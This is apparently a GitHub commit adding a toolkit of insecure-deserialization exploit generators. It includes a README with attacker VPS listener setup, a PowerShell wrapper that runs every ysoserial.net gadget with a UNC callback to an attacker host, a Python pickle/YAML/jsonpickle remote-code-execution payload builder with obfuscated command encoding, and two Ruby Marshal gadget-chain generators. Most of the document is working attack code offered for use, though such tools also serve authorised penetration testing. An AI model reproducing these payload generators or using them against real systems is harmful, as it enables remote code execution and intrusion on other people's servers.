-
Notifications
You must be signed in to change notification settings - Fork 50
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
6 changed files
with
308 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1 +1,46 @@ | ||
# INSECURE DESERIALIZATION SCRIPTS | ||
This collection contains various tools for generating serialized payloads in different programming languages. | ||
|
||
## TOOLS | ||
* [Java - ysoserial](https://github.com/frohoff/ysoserial) | ||
* [jargadgets.txt]() | ||
* [C# - ysoserial.net](https://github.com/pwntester/ysoserial.net/) | ||
* [RunYsoserial.ps1]() - Wrapper around ysoserial.net using all possible gadgets and formatters. | ||
* [netgadgets.txt]() | ||
* [netformatters.txt]() | ||
* [Python - python_deser.py](PLACEHOLDER) | ||
* (Modified [Peas](https://github.com/j0lt-github/python-deserialization-attack-payload-generator)) | ||
* [Ruby - ruby_deser_vx](PLACEHOLDER) | ||
* ([deser-ruby](https://github.com/klezVirus/deser-ruby) is an alternative tool for Ruby v3 which also supports YAML generation) | ||
* [PHP - phpggc](https://github.com/ambionics/phpggc) | ||
* [php_deser.sh]() - Wrapper around phpggc that generates payloads from all possible gadgets in base64 format. | ||
* [phpgadgets.txt]() | ||
* [Node.js - deser-node.js](https://github.com/klezVirus/deser-node) | ||
* With deletec console.log() for clean output. | ||
* [crimson_deser.sh]() - Wrapper around all generators except .NET | ||
|
||
## USAGE | ||
#### ON VPS | ||
```bash | ||
# TERMINAL 1 | ||
echo 123 > fake.dll | ||
sudo impacket-smbserver deser . -smb2support | ||
# TERMINAL 2 | ||
updog -p 443 --ssl 2>&1 | tee -a https.logs | ||
# TERMINAL 3 | ||
python3 -m http.server 80 2>&1 | tee -a http.logs | ||
# TERMINAL 4 | ||
sudo tcpdump -i any icmp -ttttt -w - -U | tee icmp.logs | tcpdump -r - | ||
``` | ||
#### ON WINDOWS | ||
```powershell | ||
# In ysoserial directory | ||
.\RunYsoserial.ps1 -collab 'ip_or_domain_here' -outputFormat 'base64' -outputFile 'deser.txt' | ||
.\RunYsoserial.ps1 -collab 'ip_or_domain_here' -outputFormat 'hex' -outputFile 'deser.txt' | ||
``` | ||
|
||
#### ON UNIX | ||
``` | ||
./crimson_deser.sh "ping VPS_IP" "VPS_IP" "DOMAIN_COLLAB" | ||
``` | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,32 @@ | ||
<# | ||
Author: Karol Mazurek (https://afine.com/) | ||
Usage: | ||
0. Unpack the ysoserial_net_136.zip | ||
1. Start the PowerShell terminal in the ysoserial_net_136 directory. | ||
2. Set unrestricted execution policy for the current terminal session: | ||
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope Process | ||
3. Execute: | ||
.\RunYsoserial.ps1 -collab 'you_vps_ip_or_domain_here' -outputFormat 'base64' -outputFile 'test.txt' | ||
All formats: raw, base64, raw-urlencode, base64-urlencode, hex | ||
#> | ||
|
||
param( | ||
[string]$collab, | ||
[string]$command = "\\$collab\deser\fake.dll", | ||
[string]$outputFormat, | ||
[string]$outputFile, | ||
[string]$netgadgets = ".\netgadgets.txt", | ||
[string]$netformatters = ".\netformatters.txt" | ||
) | ||
|
||
$outputFile_tmp = "$outputFile" + "_tmp" | ||
foreach ($gadget in Get-Content -Path "$netgadgets") { | ||
foreach ($formatter in Get-Content -Path "$netformatters") { | ||
.\ysoserial.exe -f $formatter -g "$gadget" -o $outputFormat -c "$command" /nogui | tee -a "$outputFile_tmp" | ||
} | ||
} | ||
|
||
# Filter out lines from the output file | ||
(Get-Content -Path $outputFile_tmp) | Where-Object {$_ -notmatch 'Formatter.*.not supported by|This gadget loads|UNC paths can be used for|This gadget can only load files with DLL|Example: ysoserial.exe|If you want to deliver file with a different extension than|Reading command from file'} | tee -a "$outputFile" | ||
rm "$outputFile_tmp" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,93 @@ | ||
import argparse | ||
import pickle | ||
import jsonpickle | ||
import yaml | ||
import subprocess | ||
from copy import deepcopy | ||
from base64 import b64encode, b64decode | ||
|
||
class Gen(object): | ||
def __init__(self, payload): | ||
self.payload = payload | ||
|
||
def __reduce__(self): | ||
return subprocess.Popen, (self.payload,) | ||
|
||
class Payload(object): | ||
def __init__(self, c, location, base, os): | ||
self.location = location | ||
self.base = base | ||
self.os = os | ||
self.prefix = '' if self.os == 'linux' else "cmd.exe /c " | ||
self.cmd = self.prefix + c | ||
self.payload = b'' | ||
self.quotes = "\'" in self.cmd or "\"" in self.cmd | ||
|
||
def pick(self): | ||
self.payload = pickle.dumps(Gen(tuple(self.case().split(" ")))) | ||
self.payload = self.verify_encoding() | ||
self.saving_file("_pick") | ||
|
||
def ya(self): | ||
if self.quotes: | ||
self.payload = b64decode("ISFweXRob24vb2JqZWN0L2FwcGx5OnN1YnByb2Nlc3MuUG9wZW4KLSAhIXB5dGhvbi90dXBsZQogIC0g" | ||
"cHl0aG9uCiAgLSAtYwogIC0gIl9faW1wb3J0X18oJ29zJykuc3lzdGVtKHN0cihfX2ltcG9ydF9fKCdiY" | ||
"XNlNjQnKS5iNjRkZWNvZGUoJw==") + b64encode(bytes(self.cmd, 'utf-8')) + \ | ||
b64decode("JykuZGVjb2RlKCkpKSI=") | ||
else: | ||
self.payload = bytes(yaml.dump(Gen(tuple(self.cmd.split(" ")))), 'utf-8') | ||
self.payload = self.verify_encoding() | ||
self.saving_file("_yaml") | ||
|
||
def js(self): | ||
self.payload = bytes(jsonpickle.encode(Gen(tuple(self.case().split(" ")))), 'utf-8') | ||
self.payload = self.verify_encoding() | ||
self.saving_file("_jspick") | ||
|
||
def __add__(self, other): | ||
return self + other | ||
|
||
def verify_encoding(self): | ||
return b64encode(self.payload) if self.base else self.payload | ||
|
||
def saving_file(self, suffix): | ||
if self.location: | ||
open(self.location + suffix, "wb").write(self.payload) | ||
else: | ||
print(self.payload.decode('utf-8')) | ||
|
||
def chr_encode(self, data): | ||
d = '+'.join(['chr('+str(ord(ii))+')' for ii in data]) | ||
return d | ||
|
||
def case(self): | ||
cmd = deepcopy(self.cmd) | ||
if self.quotes: | ||
cmd = self.prefix + "python -c exec({})".format(self.chr_encode( | ||
"__import__('os').system(__import__('base64').b64decode({}).decode('utf-8'))". | ||
format(b64encode(bytes(self.cmd, 'utf-8'))))) | ||
return cmd | ||
|
||
def main(): | ||
parser = argparse.ArgumentParser(description="Python Deserialization attack payload file generator.") | ||
parser.add_argument("command", help="RCE command") | ||
parser.add_argument("-o", "--output", help="File location to save output") | ||
parser.add_argument("--base64", action="store_true", help="Base64 encode payload") | ||
parser.add_argument("--os", choices=["linux", "windows"], default="linux", | ||
help="Operating system of the target (default: linux)") | ||
parser.add_argument("--module", choices=["pickle", "pyyaml", "ruamel.yaml", "jsonpickle", "all"], | ||
default="pickle", help="Select Module (default: pickle)") | ||
|
||
args = parser.parse_args() | ||
|
||
p = Payload(args.command, args.output, args.base64, args.os) | ||
function_dict = {"pickle": p.pick, "pyyaml": p.ya, "ruamel.yaml": p.ya, "jsonpickle": p.js} | ||
|
||
if args.module == "all": | ||
for i in function_dict.keys(): | ||
function_dict[i]() | ||
elif args.module in function_dict.keys(): | ||
function_dict[args.module]() | ||
|
||
if __name__ == "__main__": | ||
main() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,67 @@ | ||
#!/usr/bin/env ruby | ||
|
||
require 'ox' | ||
require 'optparse' | ||
require 'base64' | ||
|
||
class Gem::StubSpecification | ||
def initialize; end | ||
end | ||
|
||
options = { format: nil } | ||
|
||
OptionParser.new do |opts| | ||
opts.banner = "Usage: ruby script.rb [options] <COMMAND>" | ||
|
||
opts.on("--format FORMAT", [:hex, :base64, :ox, :all], "Output format: hex, base64, 0x, or all (default base64 + hex)") do |format| | ||
options[:format] = format | ||
end | ||
end.parse! | ||
|
||
# Check if a command is provided as a command-line argument | ||
if ARGV.empty? | ||
puts "Usage: ruby script.rb [options] <COMMAND>" | ||
exit 1 | ||
end | ||
|
||
command_to_execute = ARGV.join(' ') | ||
|
||
stub_specification = Gem::StubSpecification.new | ||
stub_specification.instance_variable_set(:@loaded_from, "|#{command_to_execute}") | ||
|
||
class Gem::Source::SpecificFile | ||
def initialize; end | ||
end | ||
|
||
specific_file = Gem::Source::SpecificFile.new | ||
specific_file.instance_variable_set(:@spec, stub_specification) | ||
|
||
other_specific_file = Gem::Source::SpecificFile.new | ||
|
||
$dependency_list = Gem::DependencyList.new | ||
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file]) | ||
|
||
class Gem::Requirement | ||
def marshal_dump | ||
[$dependency_list] | ||
end | ||
end | ||
|
||
payload = Marshal.dump(Gem::Requirement.new) | ||
|
||
case options[:format] | ||
when :hex | ||
puts payload.unpack('H*')[0] | ||
when :base64 | ||
puts Base64.encode64(payload).tr("\n", '') | ||
when :ox | ||
puts "0x#{payload.unpack('H*')[0]}" | ||
when :all | ||
puts payload.unpack('H*')[0] | ||
puts Base64.encode64(payload).tr("\n", '') | ||
puts "---start----Ox---Payload" | ||
puts Ox.dump(Gem::Requirement.new.marshal_dump) | ||
else | ||
puts payload.unpack('H*')[0] | ||
puts Base64.encode64(payload).tr("\n", '') | ||
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,71 @@ | ||
require 'optparse' | ||
require 'net/http' | ||
require 'rubygems' | ||
require 'base64' | ||
require 'rubygems/package' | ||
|
||
options = {} | ||
OptionParser.new do |opts| | ||
opts.banner = "Usage: ruby script.rb [options] <COMMAND>" | ||
|
||
opts.on("--format FORMAT", [:base64, :hex, :all], "Output format: base64, hex, or all (default)") do |format| | ||
options[:format] = format | ||
end | ||
end.parse! | ||
|
||
# Check if a command is provided as a command-line argument | ||
if ARGV.empty? | ||
puts "Usage: ruby script.rb [options] <COMMAND>" | ||
exit 1 | ||
end | ||
|
||
command_to_execute = ARGV.join(' ') | ||
|
||
# prevent the payload from running when we Marshal.dump it | ||
wa1 = Net::WriteAdapter.new(Kernel, :system) | ||
rs = Gem::RequestSet.allocate | ||
rs.instance_variable_set('@sets', wa1) | ||
rs.instance_variable_set('@git_set', command_to_execute) | ||
wa2 = Net::WriteAdapter.new(rs, :resolve) | ||
i = Gem::Package::TarReader::Entry.allocate | ||
i.instance_variable_set('@read', 0) | ||
i.instance_variable_set('@header', "aaa") | ||
n = Net::BufferedIO.allocate | ||
n.instance_variable_set('@io', i) | ||
n.instance_variable_set('@debug_output', wa2) | ||
t = Gem::Package::TarReader.allocate | ||
t.instance_variable_set('@io', n) | ||
r = Gem::Requirement.allocate | ||
r.instance_variable_set('@requirements', t) | ||
|
||
module Gem | ||
class Requirement | ||
def marshal_dump | ||
[@requirements] | ||
end | ||
end | ||
end | ||
|
||
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r]) | ||
|
||
case options[:format] | ||
when :hex | ||
hex_payload = payload.unpack('H*').first | ||
puts hex_payload | ||
when :base64 | ||
encoded_payload = Base64.encode64(payload).tr("\n", '') | ||
puts encoded_payload | ||
when :all | ||
encoded_payload = Base64.encode64(payload).tr("\n", '') | ||
hex_payload = payload.unpack('H*').first | ||
|
||
puts encoded_payload | ||
puts hex_payload | ||
else | ||
# Default to printing both if no format specified | ||
encoded_payload = Base64.encode64(payload).tr("\n", '') | ||
hex_payload = payload.unpack('H*').first | ||
|
||
puts encoded_payload | ||
puts hex_payload | ||
end |
Binary file not shown.